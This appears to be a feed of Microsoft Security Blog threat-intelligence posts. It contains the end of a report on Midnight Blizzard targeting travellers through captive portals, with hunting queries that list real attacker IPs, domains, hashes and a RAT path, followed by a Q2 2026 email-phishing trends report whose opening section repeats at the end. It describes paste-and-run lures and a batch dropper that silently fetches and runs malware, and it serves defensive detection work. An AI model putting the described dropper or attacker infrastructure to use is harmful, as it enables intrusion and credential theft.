Organizations should assume that public and hospitality network infrastructure might not be trustworthy and should adopt controls that limit exposure to traffic manipulation, credential theft, and device code phishing.

• Educate users to recognize ClickFix-style prompts, fake verification checks, and paste-and-run instructions as malicious, especially when they invoke command interpreters or script hosts such as cmd.exe, PowerShell, rundll32.exe, or mshta.exe.
• Use passwordless solutions like passkeys and implement multifactor authentication (MFA).
  • Use the Microsoft Authenticator app for passkeys and MFA, and complement MFA with conditional access policies, where sign-in requests are evaluated using additional identity-driven signals.
  • Conditional access policies can also be scoped to strengthen privileged accounts with phishing resistant MFA.
  • Your passkey and MFA policy can be further secured by only allowing MFA and passkey registrations from trusted locations and devices.
• Only allow device code flow where necessary. Microsoft recommends blocking device code flow wherever possible. Where necessary, configure Microsoft Entra ID’s device code flow in your Conditional Access policies.
• Implement a sign-in risk policy to automate response to risky sign-ins. A sign-in risk represents the probability that a given authentication request is not authorized by the identity owner. A sign-in risk-based policy can be implemented by adding a sign-in risk condition to Conditional Access policies that evaluates the risk level of a specific user or group. Based on the risk level (high/medium/low), a policy can be configured to block access or force MFA.
  • When a user is a high risk and Conditional access evaluation is enabled, the user’s access is revoked, and they are forced to re-authenticate.
  • For regular activity monitoring, use Risky sign-in reports, which surface attempted and successful user access activities where the legitimate owner might not have performed the sign-in. 
• Use a Security Service Edge (SSE) solution like Global Secure Access to secure access to any app or resource using network, identity, and endpoint access controls.

Reduce exposure during captive portal registration

Organizations should review what information employees provide to hospitality providers when connecting to guest networks.

• Do not reuse corporate credentials on hotel, conference, or guest-network registration pages.
• Where possible, organizations should evaluate whether venue-provided wireless is required for corporate events and conferences.
• Organizations should minimize unnecessary disclosure of employee identities, organizational affiliations, and travel details when booking accommodations or registering for guest network access, consistent with corporate policy and applicable local requirements.

Microsoft Defender detections and hunting guidance

Microsoft Defender customers can refer to the list of applicable detections below. Microsoft Defender coordinates detection, prevention, investigation, and response across endpoints, identities, email, apps to provide integrated protection against attacks like the threat discussed in this blog.

Microsoft Defender for Endpoint detects Storm-2945 activity under the detection Suspicious activity linked to a Russian state-sponsored threat actor has been detected. However, these alerts might be triggered by unrelated threat actor activity. The following chart lists Microsoft Defender detections specific to the TTPs utilized by Storm-2945 in this attack.

Microsoft Security Copilot

Microsoft Security Copilot is embedded in Microsoft Defender and provides security teams with AI-powered capabilities to summarize incidents, analyze files and scripts, summarize identities, use guided responses, and generate device summaries, hunting queries, and incident reports.

Customers can also deploy AI agents, including the following Microsoft Security Copilot agents, to perform security tasks efficiently:

• Threat Intelligence Briefing agent
• Phishing Triage agent
• Threat Hunting agent
• Dynamic Threat Detection agent

Security Copilot is also available as a standalone experience where customers can perform specific security-related tasks, such as incident investigation, user analysis, and vulnerability impact assessment. In addition, Security Copilot offers developer scenarios that allow customers to build, test, publish, and integrate AI agents and plugins to meet unique security needs.

Threat intelligence reports

Microsoft Defender XDR customers can use the following threat analytics reports in the Defender portal (requires license for at least one Defender XDR product) to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide the intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments.

• Actor profile: Midnight Blizzard

Microsoft Security Copilot customers can also use the Microsoft Security Copilot integration in Microsoft Defender Threat Intelligence, either in the Security Copilot standalone portal or in the embedded experience in the Microsoft Defender portal to get more information about this threat actor.

Hunting queries

Microsoft Defender XDR

Microsoft Defender XDR customers can run the following advanced hunting queries to find related activity in their networks:

Detect file creation after Wi-Fi connectivity test on devices

The following query checks for a file creation on a device within two minutes of the device performing built‑in Network Connectivity Status Indicator (NCSI) test, which occurs when network connectivity is established to a Wi-Fi network with a captive portal. This activity might indicate an attacker’s initial access file presence on a device.

Please note that not all files discovered through this query might be malicious or related to this threat activity.

let ncsi_endpoints = dynamic(["msftconnecttest.com","edge-http.microsoft.com","msftncsi.com","captive.apple.com","clients1.google.com",
    "clients3.google.com","clients4.google.com","clients6.google.com","connectivitycheck.gstatic.com","connectivitycheck.android.com",
    "android.clients.google.com","www.gstatic.com","detectportal.firefox.com","detectportal.brave-http-only.com","cloudflareportal.com",
    "cloudflarecp.com","cloudflareok.com","connectivity-check.warp-svc","connectivity.cloudflareclient.com","spectrum.s3.amazonaws.com",
    "nmcheck.gnome.org"]);
let NCSIEvents = DeviceNetworkEvents
    | where Timestamp > ago(7d)
    | where RemoteUrl has_any (ncsi_endpoints)
    | project NCSI_Timestamp = Timestamp, DeviceId, DeviceName, RemoteUrl, NCSI_ReportId = ReportId, NCSI_InitiatingProcessFileName = InitiatingProcessFileName, NCSI_InitiatingProcessCommandLine = InitiatingProcessCommandLine, NCSI_AccountName = InitiatingProcessAccountName;
let FileDownloadEvents = DeviceFileEvents
    | where Timestamp > ago(7d)
    | where ActionType == "FileCreated"
    | where FileName has_any (".exe",".msi",".zip",".rar",".7z")
    | project Download_Timestamp = Timestamp, DeviceId, FileName, FolderPath, Download_ReportId = ReportId, Download_InitiatingProcessFileName = InitiatingProcessFileName, Download_InitiatingProcessCommandLine = InitiatingProcessCommandLine, Download_AccountName = InitiatingProcessAccountName;
NCSIEvents
| join kind=inner (
    FileDownloadEvents
) on DeviceId
| where Download_Timestamp >= NCSI_Timestamp and Download_Timestamp 

Detect connectivity to Storm-2945 infrastructure

The following query checks for connectivity to Storm-2945 infrastructure observed in this attack activity.

let target_domains = dynamic(["ms365-device.com", "ms365-live.com", "m365-owa.com", "owa-ms365.com"]);
let target_ips = dynamic(["31.57.243.154", "38.146.28.75", "38.146.28.132", "104.194.159.150", "107.189.26.194", "213.145.86.112"]);
DeviceNetworkEvents
| where RemoteUrl has_any(target_domains) or RemoteIP in (target_ips)
| project
    Timestamp,
    DeviceName,
    DeviceId,
    RemoteUrl,
    RemoteIP,
    LocalIP,
    InitiatingProcessFileName,
    InitiatingProcessCommandLine,
    AccountName = InitiatingProcessAccountName,
    ReportId

Detect CornFlake RAT presence on affected systems

The following query checks for the presence of the CornFlake RAT binary.

DeviceProcessEvents
| where FolderPath == "%APPDATA%\\svchost32\\svchost32.exe"
   or FolderPath endswith @"\svchost32\svchost32.exe"
| project Timestamp, DeviceName, DeviceId, FileName, FolderPath, InitiatingProcessFileName, InitiatingProcessCommandLine, AccountName, ReportId

Detect CornFlake RAT Windows service registration

The following query checks for the CornFlake RAT Windows service registration.

DeviceRegistryEvents
| where RegistryKey has @"\SYSTEM\CurrentControlSet\Services\svchost32"
| where ActionType == "RegistryValueSet"
| where (RegistryValueName == "DisplayName" and RegistryValueData == "Cloud Sync Service")
    or (RegistryValueName == "Description" and RegistryValueData == "Synchronizes files with the cloud storage provider")
| project
    Timestamp,
    DeviceName,
    DeviceId,
    RegistryKey,
    RegistryValueName,
    RegistryValueData,
    ActionType,
    InitiatingProcessFileName,
    InitiatingProcessCommandLine,
    InitiatingProcessAccountName,
    ReportId

Microsoft Sentinel

Microsoft Sentinel customers can use the TI Mapping analytics (a series of analytics all prefixed with ‘TI map’) to automatically match the malicious domain indicators mentioned in this blog post with data in their workspace. If the TI Map analytics are not currently deployed, customers can install the Threat Intelligence solution from the Microsoft Sentinel Content Hub to have the analytics rule deployed in their Sentinel workspace.

Detect network IP and domain indicators of compromise using ASIM

The following query checks IP addresses and domain IOCs across data sources supported by ASIM network session parser:

//IP list and domain list- _Im_NetworkSession
let lookback = 30d;
let ioc_ip_addr = dynamic(["213.145.86.112"]);
let ioc_domains = dynamic(["213.145.86.112/t/pixel.gif", "213.145.86.112/cdn/chunks/polyfill-7e2b.min.js", "213.145.86.112/t/event"]);
_Im_NetworkSession(starttime=todatetime(ago(lookback)), endtime=now())
| where DstIpAddr in (ioc_ip_addr) or DstDomain has_any (ioc_domains)
| summarize imNWS_mintime=min(TimeGenerated), imNWS_maxtime=max(TimeGenerated),
  EventCount=count() by SrcIpAddr, DstIpAddr, DstDomain, Dvc, EventProduct, EventVendor

Detect web sessions IP and file hash indicators of compromise using ASIM

The following query checks IP addresses, domains, and file hash IOCs across data sources supported by ASIM web session parser:

//IP list - _Im_WebSession
let lookback = 30d;
let ioc_ip_addr = dynamic(["213.145.86.112"]);
let ioc_sha_hashes =dynamic([“918fa52ae45ed60ba7cc8bdc99c3cbe9ab92e0375ec31fc05d0d4513be11c593”, “be99857449d2856dd5a84e21c8a3d5e0e01456adb44062ddec5a6b4970d8d42c”]);
_Im_WebSession(starttime=todatetime(ago(lookback)), endtime=now())
| where DstIpAddr in (ioc_ip_addr) or FileSHA256 in (ioc_sha_hashes)
| summarize imWS_mintime=min(TimeGenerated), imWS_maxtime=max(TimeGenerated),
  EventCount=count() by SrcIpAddr, DstIpAddr, Url, Dvc, EventProduct, EventVendor

Detect domain and URL indicators of compromise using ASIM

The following query checks domain and URL IOCs across data sources supported by ASIM web session parser:

// file hash list - imFileEvent
// Domain list - _Im_WebSession
let ioc_domains = dynamic(["https://213.145.86.112/t/pixel.gif", "https://213.145.86.112/cdn/chunks/polyfill-7e2b.min.js", "https://213.145.86.112/t/event"]);
_Im_WebSession (url_has_any = ioc_domains)

ChocoShell C2 communications

The following query detects ChocoShell communications with its C2 server using HTTPS with URI paths designed to blend in with legitimate web traffic. Beacons use /t/pixel.gif?m=<status>, mimicking an image tracking pixel.

let lookback = 30d;
let ioc_url_artifacts = dynamic(["/t/pixel.gif?m="]);
_Im_WebSession(starttime=todatetime(ago(lookback)), endtime=now())
| where DstDomain  in (ioc_url_artifacts)
| summarize imWS_mintime=min(TimeGenerated), imWS_maxtime=max(TimeGenerated),
  EventCount=count() by SrcIpAddr, DstIpAddr, Url, Dvc, EventProduct, EventVendor

Indicators of compromise

References

• https://reliaquest.com/blog/threat-spotlight-dns-poisoning-tactics-expand-to-hospitality/
• https://www.volexity.com/blog/2025/02/13/multiple-russian-threat-actors-targeting-microsoft-device-code-authentication

Learn more

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The post CaptiveCrunch: Midnight Blizzard targets travelers worldwide for malware delivery and credential theft appeared first on Microsoft Security Blog.

The second quarter of 2026 (April–June) was largely defined by the continuing downstream effects following Microsoft’s Digital Crimes Unit-led disruption efforts against the Tycoon2FA phishing-as-a-service (PhaaS) platform in March. Phishing volume linked to the platform fell 92% from pre-disruption averages, including QR code phishing and CAPTCHA-gated phishing both declining from their March highs. Despite ongoing efforts to rebuild operations, Tycoon2FA did not recover its previous scale or influence during Q2, and no single service emerged to replace the platform at comparable scale.

These trends reflect both the measurable impact that disruption operations can have on phishing ecosystems and the adaptability of threat actors as they diversify delivery channels. At the same time, Microsoft Threat Intelligence observed continued growth in Teams-based social engineering, particularly voice phishing (vishing), with weekly malicious call attempts reaching nearly ten times the mid-2025 baseline by the end of the quarter. This activity illustrates how threat actors continue to expand beyond email into trusted workplace communication platforms where communications may appear more trustworthy to users.

Microsoft detected approximately 7.6 billion email-based phishing threats throughout the quarter, with monthly volumes declining modestly from 2.7 billion in April to 2.4 billion in June. Credential phishing remained the dominant objective behind malicious payloads, while business email compromise (BEC) activity largely returned to historical norms after a brief, anomalous surge in April. Notable campaigns observed during the quarter also demonstrated how threat actors combine automation, trusted services, and multi-stage delivery chains to scale operations. These campaigns ranged from an automated BEC campaign that reached more than 67,000 users across 42,000 organizations in under three hours, to a multi-stage phishing campaign that used nested EML files, calendar invitations, and a Microsoft authentication redirect to deliver malware.

This blog provides a view of email threat activity across the second quarter of 2026, highlighting key trends in phishing techniques, payload delivery, and threat actor behavior observed by Microsoft Threat Intelligence. We examine shifts in QR code and CAPTCHA-gated phishing activity, malicious payload trends, BEC activity, the growth of Teams-based threats, and notable campaigns observed during the quarter. We also provide recommendations and Microsoft Defender detections to help organizations identify and mitigate evolving threats while prioritizing defensive measures.

Tycoon2FA Q2 disruption impact

The disruption operation that Microsoft’s Digital Crimes Unit launched against Tycoon2FA infrastructure in early March continued to produce measurable results throughout Q2 2026. After falling 15% in March and another 22% in April, Tycoon2FA-linked phishing volume dropped 74% in May to just 1.5 million messages, then fell another 20% in June to 1.2 million, by far the lowest monthly volumes observed in at least a year. For reference, the average monthly volume of phishing messages linked to Tycoon2FA during the second half of 2025 was 15.1 million. By the end of Q2, volumes were running at roughly 8% of that baseline, representing a 92% total decline since the disruption operation began.

Tycoon2FA’s influence across two primary phishing tactics, QR code lures and CAPTCHA-gated landing pages, also continued to decline throughout the quarter:

• CAPTCHA-gated phishing: Tycoon2FA’s share of CAPTCHA-gated phishing sites fell from 41% in March to 16% in April and 12% by June, down from a peak of 76% in December 2025.
• QR code phishing: The share of QR code campaigns redirecting to Tycoon2FA domains decreased from 20% in March to 17% in April and 14% by June, down from a peak of 33% in November 2025.

These declines indicate that the platform’s customer base has not migrated to replacement infrastructure at anything close to the scale they previously operated.

After being forced off Cloudflare, which had provided anti-analysis protection that made Tycoon2FA pages harder to scan and take down, the service continued to rely on infrastructure hosted on the .RU top-level domain (TLD), a shift that began in late March. More than 40% of newly observed Tycoon2FA domains used .RU registrations throughout Q2. While this reflects an ongoing effort to find replacement hosting, Tycoon2FA’s role in the phishing ecosystem has nonetheless been significantly diminished and the pace of recovery has been slow.

QR code phishing attacks

After peaking at 18.7 million attacks in March, the highest monthly volume in at least a year, QR code phishing declined for three consecutive months in Q2. Volume fell 7% in April to 17.4 million, then dropped more sharply in May (-38%) and June (-22%), closing the quarter at 8.3 million attacks. By June, QR code phishing had returned to levels last seen in mid-2025.

The delivery methods used in QR code attacks shifted notably during Q2. PDF attachments remained the dominant vehicle throughout, but their dominance weakened after April:

• PDF attachments peaked at 79% of QR code attacks in April before falling to 59% in May and 58% in June. By raw volume, malicious PDFs containing QR codes dropped more than 60% between April and June.
• DOC/DOCX attachments moved in the opposite direction, increasing 30% in May to account for 38% of QR code payloads, the highest share since December 2025. By June, DOC/DOCX payloads reached 40% of QR code attacks. This swap between PDF and DOC/DOCX dominance is a pattern that has recurred throughout the past year, as operators appear to rotate between delivery formats.
• Email-embedded QR codes, which had surged 336% in March and accounted for 5% of QR code attacks, effectively disappeared in Q2. This delivery method dropped to near-zero across all three months, leaving QR code phishing almost entirely an attachment-based tactic.

CAPTCHA-gated phishing tactics

After accumulating to nearly 12 million attacks in March, the highest monthly volume observed over the past year, CAPTCHA-gated phishing declined sharply throughout Q2. Volume fell 32% in April to 8.2 million, then dropped another 65% in May and 24% in June, closing the quarter at just 2.2 million attacks. Since the March peak, CAPTCHA-gated phishing has fallen more than 81%, reaching its lowest monthly volume in more than a year.

The rapid rotation of delivery methods that characterized Q1 continued into Q2, with no single payload type maintaining the top position for more than one or two months:

• PDF attachments surged to 63% of CAPTCHA-gated attacks in April, the highest single-payload share observed in the past year, after more than quadrupling in March. This dominance was short-lived, however. PDF volumes dropped 69% in May and another 70% in June, falling to just 22% of attacks by the end of the quarter.
• HTML attachments, which had been a major delivery vector through January (37% of attacks), declined sharply during Q2. After declining to 8% in April, HTML payloads fell to just 3% in May before recovering slightly to 5% in June, their lowest sustained share in at least a year.
• SVG files reached their lowest observed volume in April (5% of attacks) before rebounding to 12% in May and 26% in June. While still well below the levels seen when Tycoon2FA actively used SVG files, this gradual recovery bears monitoring.
• Email-embedded URLs reclaimed the top position in June for the first time since December 2025, accounting for 30% of CAPTCHA-gated attacks. This was more a function of every other delivery method declining in raw volume than a resurgence in URL-based delivery. The actual volume of URL-delivered CAPTCHA-gated phish in June was still far lower than most months over the past year.
• DOC/DOCX files declined from their March spike, falling steadily from 15% to 10% of attacks over the quarter.

Tycoon2FA’s continued decline was a significant factor in the overall volume reduction. The platform’s share of CAPTCHA-gated phishing fell from 41% in March to 16% in April, 18% in May, and 12% by June, down from a peak of 76% in December 2025. No single service has emerged to fill the gap at comparable scale, contributing to the sustained decline in CAPTCHA-gated phishing activity overall.

Malicious payloads

Credential phishing continued to dominate the malicious payload landscape throughout Q2, accounting for 94–96% of all payload-based attacks each month. These credential phishing payloads either linked users to phishing pages or locally loaded spoofed sign-in screens on a user’s device. Traditional malware delivery represented just 4–6% of payloads, consistent with its long-term decline.

HTML and PDF attachments remained the two most common malicious payload types across the quarter, together accounting for roughly 60–70% of all payload-based attacks each month:

• HTML attachments held the top position across all three months at 35–41% of attacks. After peaking in April, HTML payload volume declined 33% in May and another 17% in June.
• PDF attachments consistently ranked second at 24–31% of attacks. PDF volume was relatively stable in April before declining 41% in May and 4% in June.
• SVG files continued the decline that has tracked closely with Tycoon2FA’s diminishing activity. After peaking at 23% of malicious payloads in July 2025, SVG’s share fell to around 7% by Q2, consistent with SVG’s historical role as a preferred Tycoon2FA payload format.
• DOC/DOCX and ZIP/GZIP files oscillated without a clear directional trend. DOC/DOCX increased 26% in May before falling 17% in June, while ZIP/GZIP attachments declined 48% in April, rebounded 27% in May, then dropped 40% in June.
• ICS files (calendar invitations), while still a small share of overall payload volume (roughly 4%), nearly quadrupled in June (+277%). These attacks take advantage of the fact that calendar invitations are processed differently than standard email attachments and can inject malicious links into a user’s calendar without requiring an explicit open-and-click interaction.
• EXE files continued to decline, falling to their lowest monthly volume in June, reflecting the broader shift away from traditional malware delivery via email attachments.

Business email compromise

April 2026 produced the most anomalous BEC data point in more than a year: nearly 9 million attacks, a 121% increase from March and more than double any previous month. The spike was short-lived as volume fell 62% in May to 3.4 million and settled at 3.9 million in June, both figures consistent with the monthly baseline that had held throughout the prior year. The April surge appeared to be driven by a small number of high-volume campaigns rather than a fundamental escalation in BEC activity.

The composition of BEC attacks remained consistent throughout Q2. Generic outreach messages (like “Are you at your desk?”) accounted for 87–92% of initial contact emails each month, while explicit requests for specific financial transactions or documents represented just 3–8%. This pattern underscores that BEC operators overwhelmingly favor establishing conversational rapport with targets before making fraudulent requests, rather than leading with direct financial asks.

Within the smaller subset of explicit financial requests, the most notable trend was the near-disappearance of fake invoice payment requests:

• Invoice payment requests fell 67% in May and another 77% in June, reaching their lowest volume in more than a year. By June, invoice-themed BEC accounted for less than 0.4% of all attacks, down from around 3.6% in March.
• Payroll update requests declined moderately across the quarter, from roughly 4% of attacks in March to 2.3% by June.
• Gift card requests remained at roughly 1–4% of attacks, with no clear directional trend.

Microsoft Teams threats

While email remains the dominant initial access vector, threat actors increasingly abused Microsoft Teams during Q2 to deliver social engineering, phishing, and malware payloads. Unlike email, Teams traffic typically bypasses secure email gateways and benefits from the perceived legitimacy of a colleague-initiated chat, which can make lures particularly effective in this environment.

Teams-based phishing volume climbed steadily throughout Q2, with the average number of detected attacks rising 19% from March to April, holding roughly flat into May (+1%), then increasing another 10% into June. Financial and executive impersonation has remained largely absent from Teams-based attacks over the past several months.

The dominant lure theme remained technical support impersonation, with attackers posing as an employee’s information technology (IT) help desk, typically warning of an impending account lockout. However, the way attackers presented themselves continued to evolve:

• Display names shifted away from IT- or help desk-branded identities. For the second consecutive month, more than half (52%) of Teams-based phishing attacks in June used generic display names rather than obvious IT support impersonation.
• Attacker email addresses associated with these chats moved away from support-themed domains toward software-as-a-service (SaaS) terminology, scan/update language, and infrastructure keywords. This shift may align with the broader rise of ClickFix-style attacks adopting update-fix and similar themes.

Vishing through Teams showed the steepest growth of any threat category tracked in this report during Q2. Average weekly malicious call attempts rose 31% from April to May and another 27% into June, with the final two weeks of June recording the two highest weekly volumes on record. Since the beginning of 2026, weekly vishing attempts have increased roughly 80% and now run at nearly ten times the mid-2025 baseline. Attackers time these calls deliberately when targets are most likely to be online and active, with the heaviest activity falling between 14:00 and 20:00 UTC, Monday through Friday, with near-zero weekend activity. Notably, a growing share of these calls go unanswered, end quickly, or are rejected outright, partly reflecting Microsoft’s ongoing efforts to harden the Teams attack surface and improve protections against social engineering abuse.

Notable phishing campaigns

The following campaigns were observed during the quarter and highlight notable credential phishing, BEC, and malware delivery activity. For analysis of a separate code of conduct-themed credential phishing campaign observed in April of Q2, see Breaking the code: Multi-stage ‘code of conduct’ phishing campaign leads to AiTM token compromise.

Automated BEC campaign scales aging report and payroll diversion lures

On June 1, 2026, Microsoft Defender Research observed a high-volume BEC campaign that used automation to operate at scale. Over a send window of under three hours (14:08–16:52 UTC), the actor reached more than 67,000 users across more than 42,000 organizations, almost exclusively in the United States. Targeting spanned a broad range of industries rather than a single vertical, most notably retail and consumer goods (17%), technology and software (15%), and financial services (14%). The campaign ran two lures in succession from shared infrastructure: arequest impersonating sales executives to obtain aging report data and customer contact details, and a payroll diversion pretext impersonating the CEO or President to redirect salary payments to attacker-controlled bank accounts.

Delivery was fully scripted. The messages were generated programmatically using Python’s email.mime library, identifiable from its default MIME boundary format (===============[integer]==), and dispatched through the Amazon Simple Email Service (SES) API rather than a manual webmail interface, as indicated by the SES Feedback-ID and Message-ID formats. This allowed the actor to iterate through a recipient list and inject per-message variables (like spoofed executive display names, recipient addresses, and unique tracking identifiers) at volume. Messages were sent from a DomainKeys Identified Mail (DKIM)-configured Slovak domain (ecajovna[.]sk) through SES, so they passed Sender Policy Framework (SPF) and achieved DKIM alignment. Neither lure contained a malicious link or attachment; both relied on eliciting a reply to attacker-controlled mailboxes that mimicked legitimate providers (ilyff[.]com, j-gmails[.]com, x2mails[.]com).

Automation also extended to targeting and follow-up. The actor addressed generic role-based mailboxes (like “ar”, “accountsreceivable”, “hr”, “payroll”) rather than named individuals, reducing per-target effort. Each message embedded a 1×1 open-tracking pixel served from an Amazon SES engagement subdomain, with per-message identifiers that let the actor confirm which recipients opened the email and prioritize follow-up against those targets. The combination of scripted message generation, API-based bulk delivery, role-based targeting, and automated engagement tracking allowed a single actor to run a personalized, financially motivated BEC operation at a scale not practical to execute manually.

Staff update campaign with nested EML file and calendar invitation leads to BAT file dropper

Between June 14–15, 2026, Microsoft Defender Research observed a phishing campaign targeting more than 107,000 users across nearly 19,000 organizations, almost exclusively in the United States. The campaign targeted a broad range of industries rather than a single vertical, most notably financial services (17%), technology and software (14%), and retail and consumer goods (14%). Emails impersonated an internal “Internal Affairs – Financials & Staff Updates” function at the recipient’s own organization, with the display name and subject line both opening with the recipient’s organization name and closing with constant trailing text. The messages were sent from a Postfix host on 9i6pokerdepot[.]com routed through Barracuda’s outbound mail service, and DKIM passed cleanly for the sending domain.

The visible email body contained minimal content. One line told the reader to download the attached file for the meeting summary, followed by a confidentiality notice. Each message carried two attachments: a nested EML posing as a Teams archive recording, and an ICS calendar invite addressed to placeholder administrative accounts at the recipient’s domain. The nested EML’s file name retained an unfilled template token ( {{DATE2}} ), indicating a per-recipient templating tool.

When opened, the EML displayed a voicemail notification with a single action button. That button pointed to Microsoft’s OAuth sign-in endpoint at login.microsoftonline[.]com, with parameters that asked for a silent sign-in attempt against an Entra application that the attacker had registered as multi-tenant.

Because no active sign-in session could satisfy the silent request, Microsoft’s authentication service redirected the recipient to the destination the attacker had pre-registered on the application. That destination was a path on clickup-attachments[.]com, ClickUp’s public attachment host, and served a Windows batch file named Financial_report.bat. Because the link routed through Microsoft authentication infrastructure, both recipients and URL scanners saw a login.microsoftonline[.]com link.

The batch file ran a hidden PowerShell command that pulled installer.exe from pixeldrain[.]com, saved it under the user’s Temp directory, ran it with a silent flag, and deleted the dropper on exit. Rather than stealing credentials, the campaign ultimately resulted in silent malware execution on the user’s Windows device.

Mitigation and protection guidance

Microsoft recommends the following mitigations to reduce the impact of this threat. Check the recommendations card for the deployment status of monitored mitigations.

• Review the recommended settings for Exchange Online Protection and Microsoft Defender for Office 365 to ensure your organization has established essential defenses and knows how to monitor and respond to threat activity.
• Invest in user awareness training and phishing simulations. Attack simulation training in Microsoft Defender for Office 365, which also includes simulating phishing messages in Microsoft Teams, is one approach to running realistic attack scenarios in your organization.
• Enable Zero-hour auto purge (ZAP) in Defender for Office 365 to quarantine sent mail in response to newly acquired threat intelligence and retroactively neutralize malicious phishing, spam, or malware messages that have already been delivered to mailboxes.
• Responders could also manually check for and purge unwanted emails containing URLs and/or Subject fields that are similar, but not identical, to those of known bad messages. Investigate malicious email that was delivered in Microsoft 365 and use Threat Explorer to find and delete phishing emails.
• Turn on Safe Links and Safe Attachments in Microsoft Defender for Office 365.
• Enable network protection in Microsoft Defender for Endpoint.
• Encourage users to use Microsoft Edge and other web browsers that support Microsoft Defender SmartScreen, which identifies and blocks malicious websites, including phishing sites, scam sites, and sites that host malware.
• Enable password-less authentication methods (for example, Windows Hello, FIDO keys, or Microsoft Authenticator) for accounts that support password-less. For accounts that still require passwords, use authenticator apps like Microsoft Authenticator for MFA. Refer to this article for the different authentication methods and features.
  • Conditional access policies can also be scoped to strengthen privileged accounts with phishing resistant MFA.
• Configure automatic attack disruption in Microsoft Defender XDR. Automatic attack disruption is designed to contain attacks in progress, limit the impact on an organization’s assets, and provide more time for security teams to remediate the attack fully.

Microsoft Defender detections

Microsoft Defender customers can refer to the list of applicable detections below. Microsoft Defender coordinates detection, prevention, investigation, and response across endpoints, identities, email, apps to provide integrated protection against attacks like the threat discussed in this blog.

Microsoft Defender for Endpoint

The following alert might indicate threat activity associated with this threat. The alert, however, can be triggered by unrelated threat activity.

• Suspicious activity likely indicative of a connection to an adversary-in-the-middle (AiTM) phishing site

Microsoft Defender for Office 365

The following alerts might indicate threat activity associated with this threat. These alerts, however, can be triggered by unrelated threat activity.

• A potentially malicious URL click was detected
• A user clicked through to a potentially malicious URL
• Suspicious email sending patterns detected
• Email messages containing malicious URL removed after delivery
• Email messages removed after delivery
• Email reported by user as malware or phish

Microsoft Security Copilot

Microsoft Security Copilot is embedded in Microsoft Defender and provides security teams with AI-powered capabilities to summarize incidents, analyze files and scripts, summarize identities, use guided responses, and generate device summaries, hunting queries, and incident reports.

Customers can also deploy AI agents, including the following Microsoft Security Copilot agents, to perform security tasks efficiently:

• Threat Intelligence Briefing agent
• Phishing Triage agent
• Threat Hunting agent
• Dynamic Threat Detection agent

Security Copilot is also available as a standalone experience where customers can perform specific security-related tasks, such as incident investigation, user analysis, and vulnerability impact assessment. In addition, Security Copilot offers developer scenarios that allow customers to build, test, publish, and integrate AI agents and plugins to meet unique security needs.

Threat intelligence reports

Microsoft Defender XDR customers can use the following Threat Analytics reports in the Defender portal (requires license for at least one Defender XDR product) to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments.

Microsoft Defender XDR threat analytics

• Activity Profile: Email threat landscape, June 2026
• Activity Profile: Email threat landscape, May 2026
• Activity Profile: Email threat landscape, April 2026
• Tool Profile: Tycoon2FA
• Technique Profile: QR code phishing
• Technique Profile: ClickFix technique leverages clipboard to run malicious commands
• Threat Overview Profile: Business Email Compromise
• Threat Overview Profile: Adversary-in-the-middle credential phishing

Microsoft Security Copilot customers can also use the Microsoft Security Copilot integration in Microsoft Defender Threat Intelligence, either in the Security Copilot standalone portal or in the embedded experience in the Microsoft Defender portal to get more information about this threat actor.

Indicators of compromise (IOCs)

Learn more

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The post Email threat landscape: Q2 2026 trends and insights appeared first on Microsoft Security Blog.

The second quarter of 2026 (April–June) was largely defined by the continuing downstream effects following Microsoft’s Digital Crimes Unit-led disruption efforts against the Tycoon2FA phishing-as-a-service (PhaaS) platform in March. Phishing volume linked to the platform fell 92% from pre-disruption averages, including QR code phishing and CAPTCHA-gated phishing both declining from their March highs. Despite ongoing efforts to rebuild operations, Tycoon2FA did not recover its previous scale or influence during Q2, and no single service emerged to replace the platform at comparable scale.

These trends reflect both the measurable impact that disruption operations can have on phishing ecosystems and the adaptability of threat actors as they diversify delivery channels. At the same time, Microsoft Threat Intelligence observed continued growth in Teams-based social engineering, particularly voice phishing (vishing), with weekly malicious call attempts reaching nearly ten times the mid-2025 baseline by the end of the quarter. This activity illustrates how threat actors continue to expand beyond email into trusted workplace communication platforms where communications may appear more trustworthy to users.

Microsoft detected approximately 7.6 billion email-based phishing threats throughout the quarter, with monthly volumes declining modestly from 2.7 billion in April to 2.4 billion in June. Credential phishing remained the dominant objective behind malicious payloads, while business email compromise (BEC) activity largely returned to historical norms after a brief, anomalous surge in April. Notable campaigns observed during the quarter also demonstrated how threat actors combine automation, trusted services, and multi-stage delivery chains to scale operations. These campaigns ranged from an automated BEC campaign that reached more than 67,000 users across 42,000 organizations in under three hours, to a multi-stage phishing campaign that used nested EML files, calendar invitations, and a Microsoft authentication redirect to deliver malware.

This blog provides a view of email threat activity across the second quarter of 2026, highlighting key trends in phishing techniques, payload delivery, and threat actor behavior observed by Microsoft Threat Intelligence. We examine shifts in QR code and CAPTCHA-gated phishing activity, malicious payload trends, BEC activity, the growth of Teams-based threats, and notable campaigns observed during the quarter. We also provide recommendations and Microsoft Defender detections to help organizations identify and mitigate evolving threats while prioritizing defensive measures.

Tycoon2FA Q2 disruption impact

The disruption operation that Microsoft’s Digital Crimes Unit launched against Tycoon2FA infrastructure in early March continued to produce measurable results throughout Q2 2026. After falling 15% in March and another 22% in April, Tycoon2FA-linked phishing volume dropped 74% in May to just 1.5 million messages, then fell another 20% in June to 1.2 million, by far the lowest monthly volumes observed in at least a year. For reference, the average monthly volume of phishing messages linked to Tycoon2FA during the second half of 2025 was 15.1 million. By the end of Q2, volumes were running at roughly 8% of that baseline, representing a 92% total decline since the disruption operation began.

Tycoon2FA’s influence across two primary phishing tactics, QR code lures and CAPTCHA-gated landing pages, also continued to decline throughout the quarter:

• CAPTCHA-gated phishing: Tycoon2FA’s share of CAPTCHA-gated phishing sites fell from 41% in March to 16% in April and 12% by June, down from a peak of 76% in December 2025.
• QR code phishing: The share of QR code campaigns redirecting to Tycoon2FA domains decreased from 20% in March to 17% in April and 14% by June, down from a peak of 33% in November 2025.

These declines indicate that the platform’s customer base has not migrated to replacement infrastructure at anything close to the scale they previously operated.

After being forced off Cloudflare, which had provided anti-analysis protection that made Tycoon2FA pages harder to scan and take down, the service continued to rely on infrastructure hosted on the .RU top-level domain (TLD), a shift that began in late March. More than 40% of newly observed Tycoon2FA domains used .RU registrations throughout Q2. While this reflects an ongoing effort to find replacement hosting, Tycoon2FA’s role in the phishing ecosystem has nonetheless been significantly diminished and the pace of recovery has been slow.

